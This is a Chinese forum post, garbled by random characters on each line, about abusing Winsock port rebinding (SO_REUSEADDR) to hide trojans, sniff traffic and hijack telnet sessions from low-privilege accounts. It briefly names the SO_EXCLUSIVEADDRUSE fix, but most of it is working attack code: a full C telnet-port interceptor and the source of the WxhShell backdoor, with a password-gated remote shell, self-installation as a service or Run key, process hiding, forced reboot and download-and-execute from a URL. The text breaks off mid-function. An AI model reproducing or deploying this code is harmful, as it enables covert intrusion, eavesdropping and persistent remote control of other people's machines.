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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o_b3G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IUEpE9_  
#^]vhnbN  
  saddr.sin_family = AF_INET; _OjZ>j<B.  
.Mb0++% W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7BINqVS&  
=Yl ea,S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dR_6j}  
' =5B   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sm Ql^ 6a  
A15Kj#Oy  
  这意味着什么?意味着可以进行如下的攻击: Sx J0Y8#z  
HnjA78%i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 djnES,^%9  
!"yr;t>|Zb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7T6Zlp  
5y g`TW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?B e}{Qqlg  
aaKf4}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uxDM #  
A/:_uqm4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EAXl.Y. $  
'oY#a9~Z{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i\^4EQ  
J;^PM:6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %GY'pQz  
H"UJBO>$  
  #include f@hM^%  
  #include uY>M3h#qx  
  #include ZB)R4  
  #include    `) cH(Rj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iSoQ1#MP)2  
  int main() u_+iH$zA  
  { u;t~ z  
  WORD wVersionRequested; Z|x|8 !D  
  DWORD ret; 573,b7Yf  
  WSADATA wsaData; /RqWrpzx@  
  BOOL val; pZ \7!rON  
  SOCKADDR_IN saddr; ~ffT}q7^  
  SOCKADDR_IN scaddr; R)*DkL!  
  int err; JrY*K|YdW  
  SOCKET s; 9)W &yi  
  SOCKET sc; -3) jUzD  
  int caddsize; [|c%<|d2  
  HANDLE mt; $Z;/Sh  
  DWORD tid;   pw4^E|X  
  wVersionRequested = MAKEWORD( 2, 2 ); MIr+4L  
  err = WSAStartup( wVersionRequested, &wsaData ); M.s'~S7y  
  if ( err != 0 ) { %c\k LSe  
  printf("error!WSAStartup failed!\n"); u<cnz% @  
  return -1; ,G}i:7  
  } 4c(Em+ 4  
  saddr.sin_family = AF_INET; I-g/ )2  
   dTK0lgkUE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $fg@g7_:  
$qYP|W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t>?tWSNf  
  saddr.sin_port = htons(23); MaHP):~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) , p~1fB-/  
  {  `ROHB@-  
  printf("error!socket failed!\n"); 6uo;4}0  
  return -1; Kd^.>T-  
  } yCN_vrH>  
  val = TRUE; :zKMw=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /QyKXg6)l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G'G8`1Nj  
  { /<8y>  
  printf("error!setsockopt failed!\n"); 4%ooJi|)  
  return -1; xR3$sA2  
  } Ws`ndR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uz{RV_IX7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RfTGTz@H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7g"u)L&32  
YVDFcN9v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >god++,o  
  { _7;:*'>a4  
  ret=GetLastError(); \298SH(!7  
  printf("error!bind failed!\n"); ; iia?f1  
  return -1; /o m++DxV  
  } RhHm[aN  
  listen(s,2); U3V5Jo r#  
  while(1) 1F`jptVQ\G  
  { Px=@Tw N,  
  caddsize = sizeof(scaddr); HVHv,:bPo  
  //接受连接请求 qJdlZW<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )'U0n`=  
  if(sc!=INVALID_SOCKET) A/'po_'uy  
  { ySmbX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .nrllVG%`  
  if(mt==NULL) v}Ju2}IK  
  { 18Y#=uH}  
  printf("Thread Creat Failed!\n"); @0@ZlH wM  
  break; sg^|dS{3D  
  } Wvr{l  
  } s b;q)Rh  
  CloseHandle(mt); \$w kr  
  } P7.bn  
  closesocket(s); :NF4[c  
  WSACleanup(); ,?|$DY+=  
  return 0; OA[e}Vn  
  }   WrGnLE kiV  
  DWORD WINAPI ClientThread(LPVOID lpParam) Mq Ai}z%  
  { \\FT.e6  
  SOCKET ss = (SOCKET)lpParam; .N qXdari  
  SOCKET sc; \4>,L_O  
  unsigned char buf[4096]; =otO@22Np  
  SOCKADDR_IN saddr; , [|aWT%9  
  long num; ZKrLp8l\  
  DWORD val; -U=Ci  
  DWORD ret; a9.yuSzL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \CMZ_%~wU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A<X?1$  
  saddr.sin_family = AF_INET; )?$[iu7 s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \uJRjw+  
  saddr.sin_port = htons(23); Q# B0JT1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $QC1l@[sM  
  { \c:$ eF  
  printf("error!socket failed!\n"); '*b]$5*p  
  return -1; m|aK_  
  } VIT|#  
  val = 100; LWF,w7v[L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r\;fyeH  
  { !,m  
  ret = GetLastError(); gQ>kDl^$Ls  
  return -1; \x}\)m_7M<  
  } cgMF?;V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sF{aG6u   
  { m$W >~  
  ret = GetLastError(); E&P2E3P  
  return -1; 4a-JC"  
  } =n5'~1?X?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nMyl( kF[  
  { #0P_\X`E   
  printf("error!socket connect failed!\n"); U-I,Q+[C[^  
  closesocket(sc); ?Afe }  
  closesocket(ss); 3=YpZ\l}  
  return -1; __g k:a>oQ  
  } %tyo(HZQ  
  while(1) 4#B'pJMw9  
  { u=.8M`FxP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "B_3<RSL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i41~-?Bc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OM*c7&  
  num = recv(ss,buf,4096,0); 4 O!2nP  
  if(num>0) %y6(+I #P  
  send(sc,buf,num,0); Qq<@;4  
  else if(num==0) gc.Lh~  
  break; &J>e; X  
  num = recv(sc,buf,4096,0); J-v1"7[2GC  
  if(num>0) )XN_|zCk  
  send(ss,buf,num,0); vk92j?  
  else if(num==0) b6N[t _,  
  break; S(zp_  
  } ;Bs~E  
  closesocket(ss); h1w({<q*ov  
  closesocket(sc); l6/VJ~(}'  
  return 0 ; K92j BR  
  } 1!<t8,W4  
@8|*Ndx2  
s?w2^<P  
========================================================== |C [!A  
q!$s<n  
下边附上一个代码,,WXhSHELL ]vvYPRV76  
94"+l@K  
========================================================== .AfZ5s]/F  
7Y5r3a}%  
#include "stdafx.h" [.gk{> #  
vd%g'fTy9  
#include <stdio.h> n)e2?  
#include <string.h> LhJUoX  
#include <windows.h> srGOIK.  
#include <winsock2.h> (pxH<k=Ah  
#include <winsvc.h> .kT]^rv ;  
#include <urlmon.h> 7n7Xyb  
XX8HSw!w  
#pragma comment (lib, "Ws2_32.lib") 3uLG$`N   
#pragma comment (lib, "urlmon.lib") Q(bOar5  
{R}F4k  
#define MAX_USER   100 // 最大客户端连接数 iW5cEI%tb  
#define BUF_SOCK   200 // sock buffer q/#e6;x  
#define KEY_BUFF   255 // 输入 buffer ]r Uj<[O  
YOl$sgg}  
#define REBOOT     0   // 重启 X1Yw=t~a  
#define SHUTDOWN   1   // 关机 F]\ Sk'}&  
t'n@yX_  
#define DEF_PORT   5000 // 监听端口 3UZd_?JI[^  
x-BU$bx5  
#define REG_LEN     16   // 注册表键长度 I/O3OD  
#define SVC_LEN     80   // NT服务名长度 Xs0)4U  
mUBy*.  
// 从dll定义API 2q~ .,vpP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PG&t~4QM`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XF!L.'zH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JrzPDb`m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $.PRav  
RM;a]g*  
// wxhshell配置信息 g#5R|| r  
struct WSCFG { +fP.Ewi  
  int ws_port;         // 监听端口 -?Cr&!*B  
  char ws_passstr[REG_LEN]; // 口令 1'~Xn 4 f  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7v5]% %E/  
  char ws_regname[REG_LEN]; // 注册表键名 3l{V:x!9@  
  char ws_svcname[REG_LEN]; // 服务名 jI ol`WX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?qgQ)#6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7Ak<e tHD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3s6obw$ki  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TSB2]uH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Aa ~W,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (95|DCL  
# T=iS(i  
}; r48|C{je-  
f3K-X1`]'U  
// default Wxhshell configuration 0<,{poMM  
struct WSCFG wscfg={DEF_PORT, mTZ/C#ir(  
    "xuhuanlingzhe", 6TP /0o)  
    1, 1djZ5`+  
    "Wxhshell", 6{h\CU}"  
    "Wxhshell", {9@D zP  
            "WxhShell Service", &6eo;8 `U  
    "Wrsky Windows CmdShell Service", 2W,9HSu8  
    "Please Input Your Password: ", orGMzC2  
  1, ={g)[:(C.  
  "http://www.wrsky.com/wxhshell.exe", )UzJ2Pa<+_  
  "Wxhshell.exe" @{Rb]d?&F?  
    }; ZQ`8RF *v  
-xn-A f!v  
// 消息定义模块 n7[nl43  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b>ai"!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4agW<c#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dY 8 H2;  
char *msg_ws_ext="\n\rExit."; %U\,IO`g  
char *msg_ws_end="\n\rQuit."; lw@Yn>eza  
char *msg_ws_boot="\n\rReboot..."; 3&hR#;,"X  
char *msg_ws_poff="\n\rShutdown..."; 3=O [Q:8  
char *msg_ws_down="\n\rSave to "; ;_<~9;  
oD2:19M@p  
char *msg_ws_err="\n\rErr!"; _{[6hf4p  
char *msg_ws_ok="\n\rOK!"; x[0T$  
Lq(=0U\"P  
char ExeFile[MAX_PATH]; wvv+~K9jq  
int nUser = 0; gIB3DuUo  
HANDLE handles[MAX_USER]; Od!)MQ*,  
int OsIsNt; IWv 9!lW  
%2QGbnt_*  
SERVICE_STATUS       serviceStatus; I9X \@ lTf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @6;OF5VsQ  
,^/Wv!uPE  
// 函数声明 ]LvP)0=  
int Install(void); S\GWMB!oF  
int Uninstall(void); Nq8ON!<<  
int DownloadFile(char *sURL, SOCKET wsh); (TZK~+]@sb  
int Boot(int flag); "qmSwdM  
void HideProc(void); odhcD;^X1  
int GetOsVer(void); q/s-".%P  
int Wxhshell(SOCKET wsl); Z RVt2  
void TalkWithClient(void *cs); NI?O  
int CmdShell(SOCKET sock); q[s,q3n~  
int StartFromService(void); \{h_i FU!  
int StartWxhshell(LPSTR lpCmdLine); { DYY9MG8  
S?688  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K9N31'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _^iY;&  
*!QmYH5r0  
// 数据结构和表定义 Z(MZbzY7Hq  
SERVICE_TABLE_ENTRY DispatchTable[] = CFpBosoFt^  
{ ;4 ;gaf  
{wscfg.ws_svcname, NTServiceMain}, ?8~l+m6s$  
{NULL, NULL} 9UM)"I&k  
}; 6 H|SiO9  
v "l).G?  
// 自我安装 Phn^0 iF  
int Install(void) ;Q{D]4  
{ L3eF BF/  
  char svExeFile[MAX_PATH]; ,DFN:uf=l  
  HKEY key; P(aBJ*((~  
  strcpy(svExeFile,ExeFile); UC`h o%OBF  
"r^RfZ;  
// 如果是win9x系统,修改注册表设为自启动 a%%7Ew ?  
if(!OsIsNt) { EyK!'9~a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZF7n]LgSc&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g QBS#NY  
  RegCloseKey(key); T+Yv5l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dz^HN`AlzC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }qWnn>h9xv  
  RegCloseKey(key); KI9Pw]]{-  
  return 0; +`d92Tz  
    } |f_'(-v`E  
  } c.>f,vtcn  
} qiz(k:\o  
else { K|%Am4  
\uZpAV)5  
// 如果是NT以上系统,安装为系统服务 $0V+<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Uu7]`Ul  
if (schSCManager!=0) ] (e ,J  
{ utck{]P  
  SC_HANDLE schService = CreateService A@?0(  
  ( @b(@`yz.a  
  schSCManager, ^q-%#  
  wscfg.ws_svcname, DOWWG!mx  
  wscfg.ws_svcdisp,  q0ktABB  
  SERVICE_ALL_ACCESS, v!I z&M:z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )@! fLA T  
  SERVICE_AUTO_START, dA<%4_WZty  
  SERVICE_ERROR_NORMAL, }83 8F&  
  svExeFile, 4Sh8w%s  
  NULL, ip?]&5s  
  NULL, qJG;`Ugl:  
  NULL, Zh8\B)0unn  
  NULL, H9WYt#  
  NULL lWRl  
  ); U$2Em0HO}  
  if (schService!=0) ;1&"]N%  
  { ! $JX3mP  
  CloseServiceHandle(schService); L&6^(Bn   
  CloseServiceHandle(schSCManager); ULK] ' Rn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i*$+>3Q-  
  strcat(svExeFile,wscfg.ws_svcname); &4OOW;,?<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L } R"1O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >/-H!jUF]  
  RegCloseKey(key); $}vk+.!*1  
  return 0; tav@a)  
    } cW^LmA  
  } ^_#wo"  
  CloseServiceHandle(schSCManager); YeCnk:_ kg  
} / =9Y(v  
} X3sAy(q  
(Z<@dkO?)  
return 1; [W )%0lx  
} jm%P-C @  
k[*9b:~  
// 自我卸载 ZV{C9S&  
int Uninstall(void) 18X?CoM~  
{ faOiNR7;h  
  HKEY key; .6MG#N  
hTa X@=Ra  
if(!OsIsNt) { P4B|l:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i6yA>#^  
  RegDeleteValue(key,wscfg.ws_regname); A{> w5T  
  RegCloseKey(key); 0_qr7Ui8(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =mLp g4  
  RegDeleteValue(key,wscfg.ws_regname); T;DKDg a  
  RegCloseKey(key); XW aa`q  
  return 0; 3>n&u,Xe  
  } xY?p(>(  
} 'jO2pH/%  
} }`CF(Do  
else { )ThNy:4  
!,ODczWvh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <Y6Vfee,&  
if (schSCManager!=0) T^!Q(`*  
{ SE*;6&yL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cq>J]35  
  if (schService!=0) y)KIz  
  { ~ AD>@;8fG  
  if(DeleteService(schService)!=0) { Y nnK]N;\x  
  CloseServiceHandle(schService); -`8@  
  CloseServiceHandle(schSCManager); }Rz,}^B  
  return 0; ~ 6=6YP  
  } !{ *yWpZ:  
  CloseServiceHandle(schService); 8^EWD3N`  
  } cEf"m ?w  
  CloseServiceHandle(schSCManager); ;G`]`=s#Lq  
} <k[_AlCmsg  
} u$tst_y-  
gZ&4b'XS,  
return 1; ^0"^  
} `IlhLv  
uPl7u 1c  
// 从指定url下载文件 m> +  
int DownloadFile(char *sURL, SOCKET wsh) x .@O]}UH  
{ K 'I6iCrD  
  HRESULT hr; DI)"F OM6  
char seps[]= "/"; 64b AWHv  
char *token; 1PxRj  
char *file; [;hkT   
char myURL[MAX_PATH]; rXmrT%7k  
char myFILE[MAX_PATH]; 0#GnmH  
b)a5LFt|  
strcpy(myURL,sURL); Q.9,W=<6  
  token=strtok(myURL,seps); L+ew/I>:  
  while(token!=NULL) q5Zu'-Cx@  
  { 6Z1O:Bou  
    file=token; `yq) y>_  
  token=strtok(NULL,seps); pS-o*!\C.  
  } r;b`@ .  
Y->sJm  
GetCurrentDirectory(MAX_PATH,myFILE); gna!Q  
strcat(myFILE, "\\"); q=e;P;u  
strcat(myFILE, file); =P,mix|  
  send(wsh,myFILE,strlen(myFILE),0); q2|x$5  
send(wsh,"...",3,0); c611&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xuHP4$<h3  
  if(hr==S_OK) >"UXY)  
return 0; -N/n|{+F  
else DNj<:Pdd)  
return 1; $'}|/D  
Q65M(x+oy  
} xBc$qjV  
2.JrLBhN  
// 系统电源模块  %o/@0.w  
int Boot(int flag) O.#R r/+)  
{ [Cd#<Te3  
  HANDLE hToken; RPMz&/k  
  TOKEN_PRIVILEGES tkp; Xgh%2 ;:  
.+Q1h61$T  
  if(OsIsNt) { p]X+#I<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D*46,>Tv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~{g/  
    tkp.PrivilegeCount = 1; %;]/Z%!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rc:UG "[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pqvl,G5  
if(flag==REBOOT) { (=rDt93J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E\Wd*,/v)  
  return 0; _`C|K>:  
} 3\{acm  
else { K HNU=k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rp @%0/[  
  return 0; )s7EhIP  
} "=%YyH~WY  
  } xP9R d/xa|  
  else { IecD41%  
if(flag==REBOOT) { 8WLh7[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y+wy<[u  
  return 0; \{rhHb\|h  
} .0>bnw  
else { W|;`R{<I%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oT:w GBW  
  return 0; SANb g&$  
} MS2/<LD3d  
} F*z>B >{)  
{a>JQW5=  
return 1; >f9Q&c$R  
} {?w *n_T.  
Ac*)z#H  
// win9x进程隐藏模块 Grw[h  
void HideProc(void) 9]chv>dO)=  
{ W7s  
<b4} B   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _;x`6LM  
  if ( hKernel != NULL ) aFnyhu&W'  
  { ?=?*W7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \2f?)id~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;eFV}DWW  
    FreeLibrary(hKernel); zb~;<:<  
  } T z:,l$  
.1h\r, #  
return; 4 y.' O  
} Z5wDf+  
Vl(id_~_  
// 获取操作系统版本 b*Hk} !qH  
int GetOsVer(void) b!QRD'31'j  
{ ,DW q  
  OSVERSIONINFO winfo; Rc@lGq9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z@JTZMN_  
  GetVersionEx(&winfo); %"E!E1_Sv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KKg\n^  
  return 1; .ezko\nU  
  else b V_<5PHP  
  return 0; rCGKE`H  
} 9$(N q  
otdv;xI9  
// 客户端句柄模块 ykx13|iR  
int Wxhshell(SOCKET wsl) KLj/,ehD !  
{ MD 0d  
  SOCKET wsh; INCanE`+  
  struct sockaddr_in client; !t)uRJ   
  DWORD myID; {)Zz4  
g p9;I*!  
  while(nUser<MAX_USER) a*,V\l|6  
{ 2*-qEUl1  
  int nSize=sizeof(client); 0|\JbM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qIy9{LF  
  if(wsh==INVALID_SOCKET) return 1; Vn^8nS  
O"[#g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .(Z^}  
if(handles[nUser]==0) bL:+(/:  
  closesocket(wsh); d.>O`.Mu)}  
else )C$Ij9<A  
  nUser++; Py9:(fdS  
  } vXSpn71Jb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -&y&b-  
UBuG12U4Y  
  return 0; *MWI`=c  
} c!$~_?]  
1JGww]JZo  
// 关闭 socket {v3@g[:|  
void CloseIt(SOCKET wsh) >^f]Lgp  
{ wC<FF2T  
closesocket(wsh); 85H*Xm?d#  
nUser--; zs-,Y@ZL  
ExitThread(0);  poZ&S  
} pL.~z  
v`jFWq8I,  
// 客户端请求句柄 WK SWOSJ  
void TalkWithClient(void *cs) 3\B~`=*q/  
{ LKud'  
!?B2OE  
  SOCKET wsh=(SOCKET)cs; @nj`T{*.  
  char pwd[SVC_LEN]; r_V^sX  
  char cmd[KEY_BUFF]; Ys5I qj=mp  
char chr[1]; gFM~M(  
int i,j; ;UQ&yj%x  
' b,zE[Q  
  while (nUser < MAX_USER) { T!pHT'J  
9\r5&#<(I  
if(wscfg.ws_passstr) { lzz68cT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =*WfS^O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fb!>@@9Z  
  //ZeroMemory(pwd,KEY_BUFF); 8L))@SA+uJ  
      i=0; w (,x{Bg\  
  while(i<SVC_LEN) { NC x)zJ\S  
I\82_t8  
  // 设置超时 #/K71Y  
  fd_set FdRead; Nu; 9  
  struct timeval TimeOut; Z3 na.>Z  
  FD_ZERO(&FdRead); erV&N,cI  
  FD_SET(wsh,&FdRead); $O9#4A;  
  TimeOut.tv_sec=8; M[Jy?b)  
  TimeOut.tv_usec=0; !;U}ax;AF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I"jub kI=Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y(r(q  
~HX'8\5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aFy'6c}  
  pwd=chr[0]; ]@ms jz'  
  if(chr[0]==0xd || chr[0]==0xa) { ZN`I4Ak  
  pwd=0;  %B#8  
  break; {<Vw55)#0Q  
  } h`:gMhn  
  i++; }4*~*NoQ  
    } e({-. ra  
_4t  
  // 如果是非法用户,关闭 socket 3{- 8n/4 k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  9\R+g5  
} v$|cF'yyF=  
F)tcQO"G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O/f+B}W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ar$ Am  
y-:d`>b>\  
while(1) { (Mt-2+"+  
X gA( D  
  ZeroMemory(cmd,KEY_BUFF); K~\Ocl  
i"y @Aj!7  
      // 自动支持客户端 telnet标准   :AC(  \  
  j=0; !o`h*G-x  
  while(j<KEY_BUFF) { `c_Wk] i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {X&H  
  cmd[j]=chr[0]; ,-Yl%R.W=  
  if(chr[0]==0xa || chr[0]==0xd) { O ;B[ZMV  
  cmd[j]=0; :W1B"T<  
  break; 4"%LgV`  
  } M[ ,:NE4H  
  j++; xR5zm %\  
    } G+Zm  
?xCWg.#l4V  
  // 下载文件 #6Fc-ysk:  
  if(strstr(cmd,"http://")) { 140_WV?7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ygTc Y  
  if(DownloadFile(cmd,wsh)) m3Rss~l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D3;#:  
  else p!~V@l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X~g~U|B@  
  } 8}!WJ2[R  
  else { |VML.u:N  
hW-?j&yJ?  
    switch(cmd[0]) { ]hi5 nA  
  j|ZhGerp  
  // 帮助 JE/Kf<  
  case '?': { !&vPG>V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [Xo[J?w],2  
    break; eq$.np  
  } |Skhx9};  
  // 安装 kG3m1: :  
  case 'i': { B["C~aF  
    if(Install()) 2G BE=T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .OSFLY#[?  
    else IX 2 dic'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5g;i{T/6~x  
    break; `"qSr%|  
    } nHF%PH#|o  
  // 卸载 IkJ-*vI6  
  case 'r': { 2umgF  
    if(Uninstall()) 96S#Q*6+R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :5BVVa0oR  
    else QNgfvy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Yya+[RY  
    break; 8~8VoU&  
    } #\$AB_[ot>  
  // 显示 wxhshell 所在路径 7 y'2  
  case 'p': { aqN6.t  
    char svExeFile[MAX_PATH]; c R6:AGr  
    strcpy(svExeFile,"\n\r"); 1gDsL  
      strcat(svExeFile,ExeFile); AqucP@  
        send(wsh,svExeFile,strlen(svExeFile),0); C7 T}:V](q  
    break;  F'9#dR?  
    } L~>~a1p!  
  // 重启 @j=Q$k.GF  
  case 'b': { RD0=\!w*5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xh9Os <  
    if(Boot(REBOOT))  MON]rj7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *'hJ5{U  
    else { 6~c:FsZ)  
    closesocket(wsh); :[.**,0R  
    ExitThread(0); *32hIiCm  
    } =/MA`>  
    break; jdAjCy;s!  
    } BXB ZX@jVk  
  // 关机 7Nt6}${=z  
  case 'd': { YGf<!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cMp#_\B  
